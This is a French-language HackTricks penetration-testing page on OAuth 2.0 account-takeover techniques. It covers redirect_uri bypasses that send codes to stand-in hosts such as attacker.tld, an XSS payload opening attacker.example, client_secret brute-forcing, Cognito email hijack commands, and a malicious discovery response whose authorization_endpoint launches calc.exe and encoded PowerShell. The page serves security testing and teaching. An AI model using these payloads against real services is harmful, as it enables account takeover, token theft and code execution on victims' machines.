OAuth to Account takeover
Tip
Apprenez et pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).
Support HackTricks
- Consultez les subscription plans!
- Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
- Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.
Informations de base
OAuth propose plusieurs versions ; des informations de base sont disponibles sur OAuth 2.0 documentation. Cette discussion se concentre principalement sur le très utilisé OAuth 2.0 authorization code grant type, fournissant un cadre d’autorisation qui permet à une application d’accéder ou d’effectuer des actions sur le compte d’un utilisateur dans une autre application (the authorization server).
Considérons un site hypothétique https://example.com, conçu pour afficher tous vos posts sur les réseaux sociaux, y compris les posts privés. Pour cela, OAuth 2.0 est employé. https://example.com demandera votre permission pour accéder à vos posts sur les réseaux sociaux. En conséquence, un écran de consentement apparaîtra sur https://socialmedia.com, décrivant les permissions demandées et le développeur faisant la demande. Après votre autorisation, https://example.com obtiendra la capacité de consulter vos posts en votre nom.
Il est essentiel de comprendre les composants suivants dans le cadre OAuth 2.0 :
- resource owner: Vous, en tant que utilisateur/entité, autorisez l’accès à votre ressource, par exemple les posts de votre compte sur les réseaux sociaux.
- resource server: Le serveur qui gère les requêtes authentifiées après que l’application ait obtenu un
access tokenau nom duresource owner, par ex. https://socialmedia.com. - client application: L’application cherchant l’autorisation du
resource owner, comme https://example.com. - authorization server: Le serveur qui émet les
access tokensauclient applicationaprès l’authentification réussie duresource owneret l’obtention de l’autorisation, par ex. https://socialmedia.com. - client_id: Un identifiant public et unique pour l’application.
- client_secret: Une clé confidentielle, connue uniquement de l’application et de the authorization server, utilisée pour générer des
access_tokens. - response_type: Une valeur spécifiant le type de token demandé, comme
code. - scope: Le niveau d’accès que le
client applicationdemande auresource owner. - redirect_uri: L’URL vers laquelle l’utilisateur est redirigé après l’autorisation. Celle-ci doit généralement correspondre à l’URL de redirection pré-enregistrée.
- state: Un paramètre pour conserver des données pendant la redirection de l’utilisateur vers et depuis the authorization server. Son unicité est critique pour servir de mécanisme de protection CSRF.
- grant_type: Un paramètre indiquant le type de grant et le type de token à retourner.
- code: Le code d’autorisation provenant du
authorization server, utilisé conjointement avecclient_idetclient_secretpar le client pour obtenir unaccess_token. - access_token: Le token que l’application cliente utilise pour les requêtes API au nom du
resource owner. - refresh_token: Permet à l’application d’obtenir un nouvel
access_tokensans redemander l’utilisateur.
Flow
Le flux OAuth réel se déroule comme suit :
- Vous naviguez vers https://example.com et cliquez sur le bouton « Intégrer aux réseaux sociaux ».
- Le site envoie ensuite une requête à https://socialmedia.com demandant votre autorisation pour que l’application de https://example.com accède à vos posts. La requête est structurée ainsi :
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
- Une page de consentement vous est alors présentée.
- Après votre approbation, le réseau social envoie une réponse à la
redirect_uriavec les paramètrescodeetstate:
https://example.com?code=uniqueCode123&state=randomString123
- https://example.com utilise ce
code, ainsi que sonclient_idet sonclient_secret, pour effectuer une requête côté serveur afin d’obtenir unaccess_tokenen votre nom, permettant d’accéder aux permissions auxquelles vous avez consenti :
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
- Enfin, le processus se conclut lorsque https://example.com emploie votre
access_tokenpour effectuer un appel API vers les réseaux sociaux afin d’accéder
Vulnérabilités
Open redirect_uri
Per RFC 6749 §3.1.2, le serveur d’autorisation ne doit rediriger le navigateur que vers des pre-registered, exact redirect URIs. Toute faiblesse ici permet à un attaquant d’envoyer une victime via une URL d’autorisation malveillante de sorte que l’IdP livre le code (et le state) de la victime directement à un endpoint contrôlé par l’attaquant, qui peut ensuite l’échanger et récolter des tokens.
Flux d’attaque typique :
- Créez
https://idp.example/auth?...&redirect_uri=https://attacker.tld/callbacket envoyez-la à la victime. - La victime s’authentifie et approuve les scopes.
- L’IdP redirige vers
attacker.tld/callback?code=<victim-code>&state=..., où l’attaquant enregistre la requête et échange immédiatement lecode.
Bugs de validation courants à tester :
- Aucune validation – toute URL absolue est acceptée, entraînant un vol instantané du code.
- Contrôles faibles par sous-chaîne/regex sur l’hôte – contournez avec des leurres tels que
evilmatch.com,match.com.evil.com,match.com.mx,matchAmatch.com,evil.com#match.com, oumatch.com@evil.com. - Mismatch IDN homograph – la validation se fait sur la forme punycode (
xn--), mais le navigateur redirige vers le domaine Unicode contrôlé par l’attaquant. - Chemins arbitraires sur un hôte autorisé – en pointant
redirect_urivers/openredirect?next=https://attacker.tldou tout endpoint XSS/contenu-utilisateur leaks the code soit via des redirections en chaîne, des en-têtes Referer, ou du JavaScript injecté. - Contraintes de répertoire sans normalisation – des motifs comme
/oauth/*peuvent être contournés avec/oauth/../anything. - Wildcard subdomains – accepter
*.example.comsignifie que tout takeover (dangling DNS, S3 bucket, etc.) fournit immédiatement un callback valide. - Callbacks non-HTTPS – autoriser des URI en
http://donne aux attaquants réseau (Wi‑Fi, proxy d’entreprise) l’occasion d’intercepter le code en transit.
Examinez aussi les paramètres auxiliaires de type redirect (client_uri, policy_uri, tos_uri, initiate_login_uri, etc.) et le document de découverte OpenID (/.well-known/openid-configuration) pour des endpoints supplémentaires qui pourraient hériter des mêmes bugs de validation.
Redirect token leakage on allowlisted domains with attacker-controlled subpaths
Locking redirect_uri to “owned/first-party domains” doesn’t help if any allowlisted domain exposes attacker-controlled paths or execution contexts (legacy app platforms, user namespaces, CMS uploads, etc.). If the OAuth/federated login flow returns tokens in the URL (query or hash), an attacker can:
- Start a legitimate flow to mint a pre-token (e.g., an
etokenin a multi-step Accounts Center/FXAuth flow). - Send the victim an authorization URL that sets the allowlisted domain as
redirect_uri/base_uribut pointsnext/path into an attacker-controlled namespace (e.g.,https://apps.facebook.com/<attacker_app>). - After the victim approves, the IdP redirects to the attacker-controlled path with sensitive values in the URL (
token,blob, codes, etc.). - JavaScript on that page reads
window.locationand exfiltrates the values despite the domain being “trusted.” - Replay the captured values against downstream privileged endpoints that only expect the redirect-carried tokens. Examples from the FXAuth flow:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>
# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>
XSS in redirect implementation
Comme mentionné dans ce rapport de bug bounty https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html il se peut que l’URL de redirection soit reflétée dans la réponse du serveur après que l’utilisateur s’authentifie, la rendant vulnérable à XSS. Payload possible à tester:
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
OAuth callback error pages: reflected error_description, trusted-origin phishing, and encoded state leakage
Certain intégrations OAuth utilisent une first-party callback page pour afficher les échecs de login après que l’IdP redirige le navigateur. Ces pages ont une grande valeur car elles s’exécutent déjà sur une origine de confiance et consomment souvent des paramètres contrôlés par l’attaquant tels que error, error_description, message, description ou state.
- Réfléchir
error_descriptiondans du HTML sans encodage de sortie strict transforme le callback en une page de phishing depuis une origine de confiance. Même quand<script>est filtré, une injection HTML peut toujours usurper toute la page d’erreur et inciter la victime à effectuer des actions choisies par l’attaquant. - Les WAFs se basent souvent sur des handlers courants tels que
onload/onerror. Quand les payloads normaux sont bloqués, essayez des événements spécifiques au navigateur ou peu courants que les défenseurs n’auront peut‑être pas blacklistés. Un exemple pratique estonpagerevealde Safari, qui peut s’exécuter lorsque la callback malveillante est affichée dans Safari:
<body onpagereveal=open("https://attacker.example")>
This step can only be completed in Safari
- Test self-referential payloads : si le HTML/JS injecté peut rouvrir ou recharger la même callback URL, vous pouvez provoquer un épuisement des ressources côté client, des popups/onglets répétés, ou un flooding de logs à chaque rendu.
- Always decode opaque-looking
statevalues`. De nombreuses implémentations encodent en Base64 du JSON ou des métadonnées utilisateur en supposant que c’est “caché”. Base64 est réversible, donc les callback URLs peuvent leak des PII comme des adresses email, des identifiants de tenant, des chemins de retour ou l’état interne des workflows. - Treat URL exposure as part of the bug : tout ce qui est placé dans la callback URL peut ensuite apparaître dans l’historique du navigateur, des reverse proxies, des load balancers, des logs applicatifs, des outils de monitoring, des captures d’écran, et des en-têtes
Referersi la page charge des ressources tierces.
Quick checks during testing :
- Déclenchez à la fois les callbacks OAuth de succès et d’échec et capturez l’URL complète ainsi que le HTML rendu.
- Rejouez la callback en mutant
error_description,message, et des champs d’erreur similaires avec du texte simple, du HTML, et des payloads d’event-handler. - Décodez
stateen Base64/URL-safe Base64 et inspectez-le pour détecter des PII ou un état applicatif qui aurait dû rester côté serveur. - Répétez les payloads spécifiques au navigateur dans Safari/WebKit quand le WAF bloque les probes XSS inline standard.
CSRF - Improper handling of state parameter
Le paramètre state est le token CSRF du flow Authorization Code : le client doit générer une valeur cryptographiquement aléatoire par instance de navigateur, la persister quelque part que seul ce navigateur peut lire (cookie, local storage, etc.), l’envoyer dans la requête d’autorisation, et rejeter toute réponse qui ne renvoie pas la même valeur. Chaque fois que la valeur est statique, prévisible, optionnelle, ou non liée à la session de l’utilisateur, l’attaquant peut terminer son propre flux OAuth, capturer la requête finale ?code= (sans l’envoyer), et plus tard forcer un navigateur victime à rejouer cette requête pour que le compte de la victime soit lié au profil de l’attaquant auprès de l’IdP.
Le schéma de replay est toujours le même :
- L’attaquant s’authentifie contre l’IdP avec son compte et intercepte le dernier redirect contenant
code(et éventuellementstate). - Il abandonne cette requête, garde l’URL, et plus tard abuse d’un primitive CSRF (lien, iframe, formulaire auto-soumis) pour forcer le navigateur de la victime à la charger.
- Si le client n’applique pas
state, l’application consomme le résultat d’autorisation de l’attaquant et connecte l’attaquant au compte de la victime.
Checklist pratique pour la gestion de state durant les tests :
- Missing
stateentirely – si le paramètre n’apparaît jamais, le login est totalement CSRFable. statenot required – supprimez-le de la requête initiale ; si l’IdP émet encore des codes que le client accepte, la défense est opt-in.- Returned
statenot validated – modifiez la valeur dans la réponse (Burp, MITM proxy). Accepter des valeurs non correspondantes signifie que le token stocké n’est jamais comparé. - Predictable or purely data-driven
state– beaucoup d’apps mettent des chemins de redirection ou des blobs JSON dansstatesans y mêler de l’entropie, permettant aux attaquants de deviner des valeurs valides et de rejouer des flows. Préfixez/suffixez toujours les données avec une forte entropie avant encodage. statefixation – si l’app permet aux utilisateurs de fournir la valeurstate(par ex. via des authorization URLs fabriquées) et la réutilise tout au long du flow, un attaquant peut verrouiller une valeur connue et la réutiliser sur plusieurs victimes.
PKCE peut compléter state (surtout pour les public clients) en liant le code d’autorisation à un code verifier, mais les clients web doivent quand même suivre state pour prévenir les bugs de CSRF/cross-user/account-linking.
Pre Account Takeover
- Without Email Verification on Account Creation : Les attaquants peuvent créer proactivement un compte en utilisant l’email de la victime. Si la victime utilise plus tard un service tiers pour se connecter, l’application peut involontairement lier ce compte tiers au compte pré-créé de l’attaquant, entraînant un accès non autorisé.
- Exploiting Lax OAuth Email Verification : Les attaquants peuvent abuser de services OAuth qui ne vérifient pas les emails en s’inscrivant puis en changeant l’email du compte pour celui de la victime. Cette méthode présente un risque similaire d’accès non autorisé, analogue au premier scénario mais via un vecteur différent.
Disclosure of Secrets
Le client_id est intentionnellement public, mais le client_secret ne doit jamais être récupérable par des utilisateurs finaux. Les déploiements Authorization Code qui embarquent le secret dans des mobile APKs, desktop clients, or single-page apps remettent ce credential à quiconque peut télécharger le package. Inspectez toujours les public clients en :
- Dépaquetant l’APK/IPA, l’installateur desktop ou l’Electron app et en grepant pour
client_secret, des blobs Base64 qui décodent en JSON, ou des chaînes OAuth codées en dur. - Revue des fichiers de config embarqués (plist, JSON, XML) ou des chaînes décompilées à la recherche de credentials clients.
Une fois que l’attaquant extrait le secret, il lui suffit de voler n’importe quel code d’autorisation de victime (via un redirect_uri faible, des logs, etc.) pour frapper indépendamment /token et mint des access/refresh tokens sans impliquer l’app légitime. Traitez les public/native clients comme incapables de garder des secrets — ils doivent plutôt s’appuyer sur PKCE (RFC 7636) pour prouver la possession d’un code verifier par instance plutôt que d’un secret statique. Pendant les tests, confirmez si PKCE est obligatoire et si le backend rejette réellement les échanges de token qui omettent soit le client_secret ou un code_verifier valide.
Client Secret Bruteforce
You can try to bruteforce the client_secret of a service provider with the identity provider in order to be try to steal accounts.
The request to BF may look similar to:
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
Referer/Header/Location artifacts leaking Code + State
Once the client has the code and state, if they surface in location.href or document.referrer and are forwarded to third parties, they leak. Two recurring patterns:
- Classic Referer leak: after the OAuth redirect, any navigation that keeps
?code=&state=in the URL will push them into the Referer header sent to CDNs/analytics/ads. - Telemetry/analytics confused deputy: some SDKs (pixels/JS loggers) react to
postMessageevents and then send the currentlocation.href/referrerto backend APIs using a token supplied in the message. If you can inject your own token into that flow (e.g., via an attacker-controlled postMessage relay), you can later read the SDK’s API request history/logs and recover the victim’s OAuth artifacts embedded in those requests.
Access Token Stored in Browser History
La garantie centrale de l’Authorization Code grant est que les access tokens n’atteignent jamais le navigateur du resource owner. Quand des implémentations leak des tokens côté client, n’importe quel bug mineur (XSS, Referer leak, proxy logging) devient une compromission de compte immédiate. Vérifiez toujours :
- Tokens in URLs – si
access_tokenapparaît dans la query/fragment, il atterrit dans l’historique du navigateur, les logs serveurs, les analytics et les en-têtes Referer envoyés à des tiers. - Tokens transiting untrusted middleboxes – renvoyer des tokens via HTTP ou par des proxies de debug/corporate permet aux observateurs réseau de les capturer directement.
- Tokens stored in JavaScript state – les stores React/Vue, variables globales ou blobs JSON sérialisés exposent les tokens à tous les scripts sur l’origine (y compris les payloads XSS ou les extensions malveillantes).
- Tokens persisted in Web Storage –
localStorage/sessionStorageconservent les tokens longtemps après la déconnexion sur des appareils partagés et sont accessibles aux scripts.
Chacune de ces découvertes transforme généralement des bugs autrement « faibles » (comme un contournement de CSP ou un DOM XSS) en prise de contrôle complète des API, car l’attaquant peut simplement lire et rejouer le bearer token divulgué.
Everlasting Authorization Code
Les Authorization codes doivent être de courte durée, à usage unique et capables de détecter les replays. Lors de l’évaluation d’un flow, capturez un code et :
- Test the lifetime – RFC 6749 recommande des minutes, pas des heures. Essayez d’échanger le code après 5–10 minutes ; s’il fonctionne encore, la fenêtre d’exposition pour tout code divulgué est excessive.
- Test sequential reuse – envoyez le même
codedeux fois. Si la deuxième requête renvoie un autre token, les attaquants peuvent cloner des sessions indéfiniment. - Test concurrent redemption/race conditions – lancez deux requêtes de token en parallèle (Burp intruder, turbo intruder). Les émetteurs faibles accordent parfois les deux.
- Observe replay handling – une tentative de réutilisation ne doit pas seulement échouer, elle doit aussi révoquer tout token déjà émis à partir de ce code. Sinon, un replay détecté laisse le premier token de l’attaquant actif.
Combiner un code permissif aux replays avec n’importe quel redirect_uri ou bug de logging permet un accès persistant au compte même après que la victime a terminé la connexion légitime.
Authorization/Refresh Token not bound to client
Si vous pouvez obtenir le authorization code et l’échanger pour un client/app différent, vous pouvez prendre le contrôle d’autres comptes. Testez la faiblesse de liaison en :
- Capturing a
codefor app A and sending it to app B’s token endpoint; if you still receive a token, audience binding is broken. - Trying first-party token minting endpoints that should be restricted to their own client IDs; if they accept arbitrary
state/app_idwhile only validating the code, you effectively perform an authorization-code swap to mint higher-privileged first-party tokens. - Checking whether client binding ignores nonce/redirect URI mismatches. If an error page still loads SDKs that log
location.href, combine with Referer/telemetry leaks to steal codes and redeem them elsewhere.
Any endpoint that exchanges code → token must verify the issuing client, redirect URI, and nonce; otherwise, a stolen code from any app can be upgraded to a first-party access token.
Happy Paths, XSS, Iframes & Post Messages to leak code & state values
AWS Cognito
In this bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ you can see that the token that AWS Cognito gives back to the user might have enough permissions to overwrite the user data. Therefore, if you can change the user email for a different user email, you might be able to take over others accounts.
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}
Pour plus d’infos détaillées sur la façon d’abuser d’AWS Cognito, check AWS Cognito - Unauthenticated Enum Access.
Abusing other Apps tokens
Comme mentioned in this writeup, les flux OAuth qui s’attendent à recevoir le token (et non un code) peuvent être vulnérables s’ils ne vérifient pas que le token appartient à l’application.
Ceci parce qu’un attaquant pourrait créer une application supportant OAuth et login with Facebook (par exemple) dans sa propre application. Ensuite, une fois qu’une victime se connecte avec Facebook dans l’attackers application, l’attaquant pourrait récupérer le OAuth token de l’utilisateur fourni à son application, et l’utiliser pour se connecter dans l’application OAuth de la victime en utilisant le token utilisateur de la victime.
Caution
Par conséquent, si l’attaquant parvient à amener l’utilisateur à accéder à sa propre application OAuth, il pourra prendre le contrôle du compte de la victime dans les applications qui attendent un token et ne vérifient pas si le token a été accordé à leur app ID.
Two links & cookie
Selon this writeup, il était possible de faire ouvrir à une victime une page avec un returnUrl pointant vers l’hôte de l’attaquant. Cette info serait stockée dans un cookie (RU) et lors d’une étape ultérieure le prompt demandera à l’utilisateur s’il souhaite donner l’accès à cet hôte malveillant.
Pour contourner ce prompt, il était possible d’ouvrir un onglet pour initier le Oauth flow qui définirait ce cookie RU en utilisant le returnUrl, fermer l’onglet avant l’affichage du prompt, puis ouvrir un nouvel onglet sans cette valeur. Ensuite, le prompt n’informera pas sur l’hôte de l’attaquant, mais le cookie serait défini sur cet hôte, donc le token sera envoyé à l’hôte de l’attaquant lors de la redirection.
Prompt Interaction Bypass
Comme expliqué dans this video, certaines implémentations OAuth permettent d’indiquer le paramètre GET prompt sur None (&prompt=none) pour éviter que les utilisateurs soient invités à confirmer l’accès donné via un prompt web s’ils sont déjà connectés sur la plateforme.
response_mode
Comme explained in this video, il peut être possible d’indiquer le paramètre response_mode pour préciser où vous souhaitez que le code soit fourni dans l’URL finale :
response_mode=query-> Le code est fourni dans un paramètre GET :?code=2397rf3gu93fresponse_mode=fragment-> Le code est fourni dans le fragment de l’URL :#code=2397rf3gu93fresponse_mode=form_post-> Le code est fourni dans un formulaire POST avec un input nommécodeet la valeurresponse_mode=web_message-> Le code est envoyé via postMessage :window.opener.postMessage({"code": "asdasdasd...
Clickjacking OAuth consent dialogs
Les dialogues de consentement/connexion OAuth sont des cibles idéales pour le clickjacking : s’ils peuvent être encadrés (framed), un attaquant peut superposer des éléments graphiques, masquer les vrais boutons et tromper les utilisateurs pour qu’ils approuvent des scopes dangereux ou lient des comptes. Construisez des PoC qui :
- Chargent l’URL d’autorisation de l’IdP dans un
<iframe sandbox="allow-forms allow-scripts allow-same-origin">. - Utilisent du positionnement absolu/astuces d’opacité pour aligner de faux boutons avec les contrôles Autoriser/Approuver cachés.
- Optionnellement pré-remplissent des paramètres (scopes, redirect URI) pour que l’approbation volée profite immédiatement à l’attaquant.
Lors des tests, vérifiez que les pages de l’IdP émettent soit X-Frame-Options: DENY/SAMEORIGIN soit une Content-Security-Policy: frame-ancestors 'none' restrictive. Si aucune n’est présente, démontrez le risque avec des outils comme NCC Group’s clickjacking PoC generator et enregistrez la facilité avec laquelle une victime autorise l’app de l’attaquant. Pour d’autres idées de payloads voir Clickjacking.
OAuth ROPC flow - 2 FA bypass
Selon this blog post, il s’agit d’un flux OAuth qui permet de se connecter via username et password. Si, lors de ce flux simple, un token donnant accès à toutes les actions de l’utilisateur est retourné, il est alors possible de contourner le 2FA en utilisant ce token.
ATO on web page redirecting based on open redirect to referrer
Ce blogpost explique comment il a été possible d’abuser d’un open redirect à partir de la valeur du referrer pour abuser OAuth et réaliser un ATO. L’attaque était :
- La victime accède à la page web de l’attaquant
- La victime ouvre le lien malveillant et un opener démarre le Google OAuth flow avec
response_type=id_token,code&prompt=nonecomme paramètres additionnels en utilisant comme referrer le site de l’attaquant. - Dans l’opener, après que le provider autorise la victime, il renvoie celle-ci vers la valeur du paramètre
redirect_uri(site de la victime) avec un code 30X qui conserve encore le site de l’attaquant dans le referer. - Le site de la victime déclenche l’open redirect basé sur le referrer redirigeant l’utilisateur vers le site de l’attaquant ; comme le
respose_typeétaitid_token,code, le code sera envoyé à l’attaquant dans le fragment de l’URL, lui permettant de prendre le contrôle du compte de l’utilisateur via Google sur le site de la victime.
SSRFs parameters
Check this research For further details of this technique.
Dynamic Client Registration en OAuth sert de vecteur moins évident mais critique pour des vulnérabilités, notamment des attaques de SSRF. Cet endpoint permet aux serveurs OAuth de recevoir des détails sur les applications clientes, y compris des URLs sensibles susceptibles d’être exploitées.
Points clés :
- Dynamic Client Registration est souvent mappé sur
/registeret accepte des détails commeclient_name,client_secret,redirect_uris, et des URLs pour des logos ou JSON Web Key Sets (JWKs) via des requêtes POST. - Cette fonctionnalité suit les spécifications de RFC7591 et OpenID Connect Registration 1.0, qui incluent des paramètres potentiellement vulnérables aux SSRF.
- Le processus d’enregistrement peut involontairement exposer les serveurs aux SSRF de plusieurs façons :
logo_uri: une URL pour le logo du client qui pourrait être fetchée par le serveur, déclenchant une SSRF ou menant à du XSS si l’URL est mal traitée.jwks_uri: une URL vers le document JWK du client, qui si malicieusement fournie peut pousser le serveur à effectuer des requêtes sortantes vers un serveur contrôlé par l’attaquant.sector_identifier_uri: référence un tableau JSON deredirect_uris, que le serveur pourrait fetcher, créant une opportunité SSRF.request_uris: liste des request URIs autorisées pour le client, qui peut être exploitée si le serveur fetch ces URIs au début du processus d’autorisation.
Stratégie d’exploitation :
- La SSRF peut être déclenchée en enregistrant un nouveau client avec des URLs malicieuses dans des paramètres comme
logo_uri,jwks_uriousector_identifier_uri. - Bien que l’exploitation directe via
request_urispuisse être atténuée par des contrôles de whitelist, fournir unrequest_uripré-enregistré et contrôlé par l’attaquant peut faciliter la SSRF pendant la phase d’autorisation.
OAuth/OIDC Discovery URL Abuse & OS Command Execution
La recherche sur CVE-2025-6514 (impactant des clients mcp-remote tels que Claude Desktop, Cursor ou Windsurf) montre comment la discovery OAuth dynamique devient un primitive RCE dès que le client retransmet les metadata de l’IdP directement au système d’exploitation. Le serveur MCP distant retourne un authorization_endpoint contrôlé par l’attaquant durant l’échange de discovery (/.well-known/openid-configuration ou n’importe quel RPC de métadonnées). mcp-remote ≤0.1.15 appellera alors le gestionnaire d’URL du système (start, open, xdg-open, etc.) avec n’importe quelle chaîne reçue, si bien que tout scheme/chemin reconnu par l’OS s’exécute localement.
Flux d’attaque
- Pointer l’agent desktop vers un serveur MCP/OAuth hostile (
npx mcp-remote https://evil). L’agent reçoit un 401 plus des metadata. - Le serveur répond avec un JSON tel que :
HTTP/1.1 200 OK
Content-Type: application/json
{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
- Le client lance le gestionnaire OS pour l’URI fourni. Windows accepte des payloads comme
file:/c:/windows/system32/calc.exe /c"powershell -enc ..."; macOS/Linux acceptentfile:///Applications/Calculator.app/...ou même des schémas personnalisés tels quecmd://bash -lc '<payload>'s’ils sont enregistrés. - Parce que cela se produit avant toute interaction utilisateur, le simple fait de configurer le client pour qu’il parle au serveur de l’attaquant aboutit à code execution.
Comment tester
- Ciblez n’importe quel desktop/agent compatible OAuth qui effectue la discovery over HTTP(S) et ouvre localement les endpoints renvoyés (Electron apps, CLI helpers, thick clients).
- Interceptez ou hébergez la discovery response et remplacez
authorization_endpoint,device_authorization_endpoint, ou des champs similaires parfile://,cmd://, chemins UNC, ou d’autres schémas dangereux. - Observez si le client valide le scheme/host. L’absence de validation entraîne une exécution immédiate sous le contexte de l’utilisateur et prouve le problème.
- Répétez avec différents schemes pour cartographier la full attack surface (par ex.,
ms-excel:,data:text/html,, custom protocol handlers) et démontrer la portée cross-platform.
OAuth providers Race Conditions
Si la plateforme que vous testez est un OAuth provider read this to test for possible Race Conditions.
Mutable Claims Attack
In OAuth, le champ sub identifie de façon unique un utilisateur, mais son format varie selon l’Authorization Server. Pour standardiser l’identification des utilisateurs, certains clients utilisent des emails ou des user handles. Cependant, cela présente des risques car :
- Certains Authorization Servers n’assurent pas que ces propriétés (comme email) restent immuables.
- Dans certaines implémentations — telles que “Login with Microsoft” — le client se base sur le champ email, qui est user-controlled by the user in Entra ID et n’est pas vérifié.
- Un attaquant peut exploiter cela en créant sa propre organisation Azure AD (par ex., doyensectestorg) et en l’utilisant pour effectuer un Microsoft login.
- Bien que l’Object ID (stocké dans sub) soit immuable et sécurisé, la dépendance à un champ email mutable peut permettre un account takeover (par exemple, le détournement d’un compte comme victim@gmail.com).
Client Confusion Attack
Dans une Client Confusion Attack, une application utilisant l’OAuth Implicit Flow ne vérifie pas que l’access token final a été généré spécifiquement pour son propre Client ID. Un attaquant peut mettre en place un site public utilisant l’OAuth Implicit Flow de Google, amenant des milliers d’utilisateurs à se connecter et récoltant ainsi des access tokens destinés au site de l’attaquant. Si ces utilisateurs ont aussi des comptes sur un autre site vulnérable qui ne valide pas le Client ID du token, l’attaquant peut réutiliser les tokens récoltés pour usurper les victimes et prendre le contrôle de leurs comptes.
Scope Upgrade Attack
Le type Authorization Code Grant implique une communication serveur-à-serveur sécurisée pour la transmission des données utilisateur. Cependant, si l’Authorization Server fait implicitement confiance à un paramètre scope dans l’Access Token Request (un paramètre non défini par le RFC), une application malveillante pourrait augmenter les privilèges d’un authorization code en demandant un scope plus élevé. Une fois l’Access Token généré, le Resource Server doit le vérifier : pour les tokens JWT, cela implique de vérifier la signature JWT et d’extraire des données telles que client_id et scope, tandis que pour les tokens sous forme de random string, le serveur doit interroger l’Authorization Server pour récupérer les détails du token.
Redirect Scheme Hijacking
Dans les implémentations OAuth mobiles, les apps utilisent des custom URI schemes pour recevoir les redirects contenant les Authorization Codes. Cependant, comme plusieurs apps peuvent enregistrer le même scheme sur un appareil, l’hypothèse selon laquelle seul le client légitime contrôle le redirect URI est violée. Sur Android, par exemple, une Intent URI comme com.example.app:// est attrapée en se basant sur le scheme et les filtres optionnels définis dans l’intent-filter d’une app. Étant donné que la résolution d’intents d’Android peut être large — surtout si seul le scheme est spécifié — un attaquant peut enregistrer une app malveillante avec un intent filter soigneusement conçu pour hijacker le authorization code. Cela peut permettre un account takeover soit via interaction utilisateur (lorsque plusieurs apps sont éligibles pour gérer l’intent), soit via des techniques de contournement exploitant des filtres trop permissifs, comme détaillé par le flowchart d’Ostorlab.
References
- Leaking FXAuth token via allowlisted Meta domains
- https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1
- https://portswigger.net/research/hidden-oauth-attack-vectors
- https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html
- An Offensive Guide to the OAuth 2.0 Authorization Code Grant
- OAuth Discovery as an RCE Vector (Amla Labs)
- Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO
- Rapid7: CVE-2026-31381, CVE-2026-31382: Gainsight Assist Information Disclosure and Cross-Site Scripting (FIXED)
- MDN: Window
pagerevealevent
Tip
Apprenez et pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).
Support HackTricks
- Consultez les subscription plans!
- Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
- Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.


